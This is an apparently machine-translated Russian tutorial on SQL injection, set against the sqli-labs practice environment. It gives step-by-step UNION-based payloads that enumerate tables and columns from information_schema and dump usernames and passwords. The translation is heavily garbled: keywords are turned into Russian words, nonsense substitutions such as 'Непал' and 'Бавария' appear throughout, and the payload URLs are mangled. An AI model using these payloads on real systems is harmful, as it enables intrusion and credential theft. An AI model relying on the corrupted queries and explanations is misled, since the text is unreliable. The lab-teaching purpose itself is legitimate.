Руководство по среде SQL инъекции(Р1)

Руководство по среде SQL инъекции(Р1)

DARK FORCE


Руководство для начинающих по внедрению в SQL (часть 1)


Для SQL-Injection - это метод, при котором красных пользователь может вводить в SQL-команды в среде SQL-запрос через веб-страницу.

Злоумышленник может обойти проверки подлинности, доступ, изменение и удаление данных в базе данных. В некоторых случаях SQL-инъекция может даже использоваться для выполнения команд в системе операцию, что потенциал позволяет злоумышленнику нагнетать для более открыть внутри сети, которая находится за брандмауэром.

Список база данных

  • В MySQL (с открытым кодом),
  • В MSSQL,
  • МС-доступ,
  • Оракул,
  • Сервис postgre SQL (с выстрел с открытым COD),
  • Базы данных SQLite,

Тип в SQL-Injection

  • В группе
  • Из группы
  • Слепой SQLI

Методика использования SQLI

  • Эксплуатация на основе ошибок
  • МСП эксплуатация
  • Булевая эксплуатация
  • Эксплуатация с sad по времени
  • Nepal эксплуатация

Попробуйте определить - где взаимодействует приложение с БД

  • Страница проверки подлинности
  • Поля поиска
  • Поля Pot
  • Поля Получить
  • Заголовок протокола http
  • печенье

Основные функции в SQL

ВЫБРАТЬсчитывать данные из базы данных на основе критериев поискаВСТАВИТЬвставить новые данные в базу данныхОБНОВИТЬобновлять существующие данные на основе данных критериевУДАЛИТЬудалить существующие данные на основе данных критериевслоев поиспользуется для типа результата в порядке худшему или BavariaОграничение поиспользуется для извлечения записей из одной или нескольких таблеткиСимволы в SQL Injection

1 или инсульта символ индикатор ' "2 Most комментарий/*....*/3 Добавление, содержание (или бел в URL-адрес)+4 как комментарий# или - - (устройство)5 ва труба (content)||6 Индикатор дань пост %7 местный значение @variable8 Global perm @@ perm Бремен задержка, жду задержки '00: 00: 10 'Stroke вместо числа или наоборот отпечатков пальцев базы данных

 Мы можем узнать базу данных, анализа ошибку.

С. не ошибка Тип базы данных 1У вас есть ошибка в синтаксиса в SQL;проверьте руководство, соответствующее версии вашего сервера в MySQL для правильного синтаксиса для использования рядом с «1» предел 0,1 'в строке 1 в MySQL 2ORA-00933: команда SQL для Oracle неправильно отвращение 3Ошибка собственного клиента для SQL «80040e14» Закрытая кавычка после инсульта символ МС SQLСначала загрузите sqli лаборатории отсюда и курс в программе xampp. Откройте лаборатории SQLI.

https://github.com/Audi-1/sqli-labs


Нажмите «Настройка / братья базы данных для лаборатории»



Перед прыжком в лаборатории Дакка

Давайте PIM основы сначала. (Как запрос выполняется на baked? Как формируются запросы? Как мы можем их разбить? Что такое для SQL-Injection?

Курорт страницу входа, в которой вам предлагается ввести имя пользователя и пароль, когда вы носила имя пользователя и пароль, запрос запроса (в SQL-запрос) генерируется на обожженной, который выполняется, и результат отображается нам на ДНК странице после входа в систему.

Имя пользователя - Радж

Пароль - Chandel

Таким образом, запрос на baked будет выглядеть так:

Запрос Select * from имя_таблицы, где имя пользователя = 'Радж' и пароль = 'Chandel';

Полностью разработки, как он вложил значение параметра в запрос в SQL, может заключить в значение параметра обычные кавычки, кавычки ва, ва кавычки с помощью по и т. Д.

Таким образом, запрос может выглядеть так:

Запрос Select * from имя_таблицы, где имя пользователя = 'Радж' и пароль = 'Chandel';

Запрос Select * from имя_таблицы где имя пользователя = ("Радж") и пароль = ('Chandel');

Выбрать * из таблицы table_name, где имя пользователя = "Радж" И пароль = "Chandel";

Запрос Select * from имя_таблицы где имя пользователя = ("раж") и пароль = ("Chandel");

Или в любой форме полностью выбор разработки.

Далее я объясню, используя первый запрос.

Вопрос - Что делать, если я ввожу имя пользователя = Радж?

АНС - Если я БД запрос пользователя = имя пользователя Радж, будет выглядеть так:

Запрос Select * from имя_таблицы, где имя пользователя = 'Радж' и пароль =' Chandel ';

Что является nepal синтаксис из-за дополнительной цитаты

Вопрос - Как мы можем исправить этот Soma запрос? Можно ли это сделать?

Ответ - Да, можно исправить washer запрос даже с именем пользователя = Радж '

Мы можем сделать это, commentary весь запрос после того, как Радж '

Таким образом, наш запрос будет дизелем

Выбрать * из таблицы table_name, где имя пользователя = 'Радж'

Что является Павел syntax

Вопрос - Как комментарий оставшийся запрос?

АНС - Ну, это зависит от базы данных, которая есть на опираясь.

Обычно мы используем - + (устройство плюс), # (hash)

Поэтому, если я БД имя пользователя = Радж '- +

Опираясь на Полный запрос будет выглядеть так:

Запрос Select * from имя_таблицы, где имя пользователя = 'Радж' - + 'и пароль =' Chandel ';

Но наша база данных будет читать и выполнять только

Запрос Select * from имя_таблицы, где имя пользователя = 'Радж' этот запрос, потому что после все - + commenting будут и не будут переводчиков как часть запроса.

Это то, что называется инъекции SQL-кода. Изменение baked-запроса с использованием вредоносного ввода.

Я не знаю, есть ли у вас парни какие-либо интересные сомнения или нет, но у меня было, когда я изучал все эти вещи, и сомнения

Согласно вышеуказанному запросу, Форман путем комментарий, нам не нужен Дэйв пароль для входа?

Да, если разработки не предпринял меры для предотвращения внедрения в SQL и стену запрос, как показано выше, можно войти в систему, используя только имя пользователя.

Мужчин? Не будь. Я пакет вам это в моих будущих статьях. В Теперь вы готовы к работе лаборатории, так что давайте начнем.

Нажмите на камень 1 и добавьте идентификатор в качестве параметра в URL-адрес-адрес


Продолжайте увеличивать значение идентификатора (ИД = 1, ИД = 2 ... и т. Д.), Вы же, что вы получите пустой экран без имени пользователя и УДО код после = 14, что означает, что в базе данных 14 записей.


Так что испек-запрос должен быть чем-то вроде этого

Запрос Select * from имя_таблицы где ID = '1';

Или

Запрос Select * from имя_таблицы где ID = ('1');

Или

Запрос Select * from имя_таблицы где ID = "1";

На этом этапе мы не знаем, как разработки pill значение параметра идентификатор. Давай выясним

Разбейте запрос с помощью фаззинга, введите Идентификатор = 1 '

Boommm !! Мы получаем ошибку синтаксиса в SQL. Поскольку эта ошибка поможет нам найти паршивец запрос, и мы будем делать для SQL-Injection с использованием этой ошибки, этот тип называется SQL-инъекция в SQL-Injection на основе ошибок


 

Теперь мы должны аналитик ошибку. Скриншот Смотрите

 


Вы также можете узнать об этом с помощью эскейп-символ, в \ в MySQL (brat cos Диаграмма) используется побег-символ.

Parse символ означает кольцевой специальной цели этого символ. Вы получите более реактивные изображение с помощью эскейп-символ



 



Из скриншотов видно, что запрос baked

Менее 1 - запрос Select * from имя_таблицы где ID = 'наш вход'

Менее 2 - запрос Select * from имя_таблицы где ID = наш вход

Менее 3 - запрос Select * from имя_таблицы где ID = ('вход наш')

Менее 4 - запрос Select * from имя_таблицы где ID = («наш вход»)

С этого момента я возьму меньше-1 в качестве busy урока, чтобы объяснить дальше

С нашим как вводом 1 'полный запрос baked будет

Запрос Select * from имя_таблицы где ID = '1' 'предел 0,1

Что является nepal синтаксис, и я выше объяснил, как сделать syntax Pavel

Ввод predictable 1 '- + (1 кавычка устройство плюс)

Или, вход Кас 1 '-% 20 (% 20 в URL-код для Bella)

Или, вход Кас 1 ' 23% (% 23 адрес-кодек для #)

http: // локальный / sqli / менее 1 /? ИД = 1 '-% 20


http: // локальный / sqli / менее 1 /? ИД = 1 '% 23


http: // локальный / sqli / менее 1 /? ИД = 1 '- +


Теперь мы можем разбить запрос и можем его исправить синтаксис.

Что дальше?

Теперь мы попытаемся добавить запрос между читта и - +, чтобы получить информацию из базы данных


Мы будем использовать другой запрос выберите для получения информации из базы данных.

Вопрос - Будут ли выполняться два запроса выбрать?

Ответ - Нет, мы должны использовать оператор Союз, чтобы он работал.

Оператор Союза используется для послушания resulting набора из двух или более операторов выбора.

Но для оператора существует Союз одно предположение, что количество столбцов на обеих сильный оператора Союзом должно быть одинаковым.

Поскольку мы не знаем количество столбцов в САС выберите на baked, так что сначала нам нужно найти количество столбцов, используемых в SAS выбрать.

Для этого мы будем использовать того, предложение по.

Заказать Предложение по упорядочивает resulting набор в порядке худшему или Bavaria столбцов, используемых в SAS.

Порядок stray à организовать набор результатов в порядке worst элементов столбца (страны)

Проблема в том Теперь, что мы даже не знаем имена столбца ...

Решение этой проблемы находится в предложении порядок ...

Мы будем использовать заказ 1, заказ 2 и т. Д., Того, как Так на 1 упорядочивает resulting набор в порядке худшему столбца, присутствующего на первом месте в САС. (Обратите внимание, того, что по 1 не упорядочивает набор результатов в соответствии с первым столбцом таблицы, он упорядочивает создавшегося набор в порядке worst столбца, присутствующего на первом месте в полагаю).

Попробуем сейчас

http: // локальный / sqli / менее 1 /? ID заказа = 1 на 1 - Нет ошибки


http: // локальный / sqli / менее 1 /? ID заказа = 1 'на 2 - + Нет ошибки


http: // локальный / sqli / менее 1 /? ИД = 1 по по 4 - + Ошибка

Это показывает, что в САС нет 4 - го столбца. Итак, мы теперь знаем, что в базе данных есть 3 столбца.


Итак, теперь мы можем использовать оператор союзе с другим SAS выбрать.

http: // локальный / sqli / менее 1 /? союз с ID = 1 'Выберите 1,2,3 - +


Смотрите, ошибки нет, но мы получаем набор результатов первого запроса, чтобы получить результат второго запроса выбора на экране, мы должны сделать набор результатов первого запроса как ПУСТОЙ. Этого мы можем достичь, предоставив личности, которого нет. Мы можем предоставить устные идентификатор или идентификатор> 14, потому что в начале статьи мы выяснили, что в базе данных имеется 14 личности.

http: // локальный / sqli / менее 1 /? союз с ID = -1 'выберите 1,2,3 - +

Или

http: // локальный / sqli / менее 1 /? ИД = 15 'Союз выберите 1,2,3 - +


Это показывает, что мы получаем значения столбца 2 и столбца 3 в качестве вывода.Поэтому мы будем использовать эти два столбца для извлечения информации о базе данных и из базы данных.

http: // локальный / sqli / менее 1 /? союз с ID = -1 'выберите 1,2, версия () - +

Это даст версию базы данных, используемую на baked


http: // локальный / sqli / менее 1 /? ИД = -1 'Союз выберите 1, базы данных (), версия () - +

Это даст базу данных, которую мы используем, и текущую версию базы данных, используемую на baked


Поскольку Союз-оператор мы используем для выполнения инъекции SQL, то этот тип называется Injection союза на основе SQL-инъекции (тип ОСНОВНОЙ SQL-инъекции)

По SQL Injection Союза на основе

Perm / функцияВыводПользователь ()Текущий пользовательбаза данных()Текущая база Denver()Версия базы данэм ()Текущая база данныхUUID ()Ключ по uuid систематического пользователь()Текущий пользовательSYSTEM_USER ()Текущий пользователь системыSESSION_USER ()Пользователь без@@ имя хостаТекущее имя host@@ TMPDIRВременный справочник@@ каталогу_данныхКаталог данных@@верующих базы данных@@ имя_базовой_папкиБазовый каталог@@ глобального.have_symlinkПроверьте, включена ли символ ссылка или отключена@@ глобального.have_sslПроверьте, доступен ли он по протоколу SSLЧтобы профсоюзные Injection работали, мы должны сначала узнать имя table в базе данных и для этого типа:

ИД = -1 'Союз выберите 1, имя_таблицы, 3 из базы данных information_schema.таблицы, где table_schema = базы данных () - +


Как вы знаете, посмотрите, что доказывает выше запрос кармане нам имя одной из таблетки в базе данных. Например: электронные письма

Теперь программист может не все peat инсульта, поэтому нам придется проверять эти Stroke базы данных один за другим, используя ключевое слово ограничить . Поэтому введите:

ИД = -1 'Союз выберите 1, имя_таблицы, 3 из базы данных information_schema.таблицы, где table_schema = базы данных () предел 1,1 - +


Как вы можете видеть, вторая таблица в базе данных - это ссылки .

Analog, давайте доказать следующее имя таблицы.

ИД = -1 'Союз выберите 1, имя_таблицы, 3 из базы данных information_schema.таблицы, где table_schema = базы данных () предел 2,1 - +


Это был один метод проверки имен столе один за другим, другой метод получает все имена столе один раз и вместе, используя ключевое слово группа concit. Это ключевое слово представляет все имя таблицы как группу. Для этого типа:

ИД = -1 'Союз выберите 1, group_concat (имя_таблицы), 3 из базы данных information_schema.таблицы, где table_schema = базы данных () - +


И в результате, которые вы можете наблюдать на собрание выше, все имена столе будут показаны вместе.

Теперь давайте доказать одну из представленных нам таблетки. Чтобы извлечь информацию из таблицы типа:

ИД = -1 'Союз выберите 1, group_concat (имя_столбца), 3 из базы данных information_schema.столбцы пользователи где аргумент table_name ='' - +


Как видно, доказал выше оператор показывает все столбцы вместе из-за использования levy слова group_concat . Кроме того, мы используем слово «столбец» вместо «таблицы», потому что мы хотим знать столбец таблицы сейчас.

До сих пор мы извлекали разные названия база данных и его стол. Давайте посмотрим Теперь содержимое таблицы. Для этого типа:

ИД = -1 'Союз выберите 1, group_concat (имя пользователя), 3 пользователя - +


Шайбы оператор кармане нам все имена пользователей из таблицы. Теперь давайте очень УДО для этих имен пользователей. Тип :

ИД = -1 'Союз выберите 1, group_concat (пароль), 3 пользователя - +


И вот у вас будут УДО к вашим мужчин пользователей. Существует еще один способ увидеть имена пользователей и УДО вместе со следующим утверждением:

ИД = -1 'Союз выберите 1, group_concat (имя пользователя), group_concat (пароль) от пользователей - +



Report Page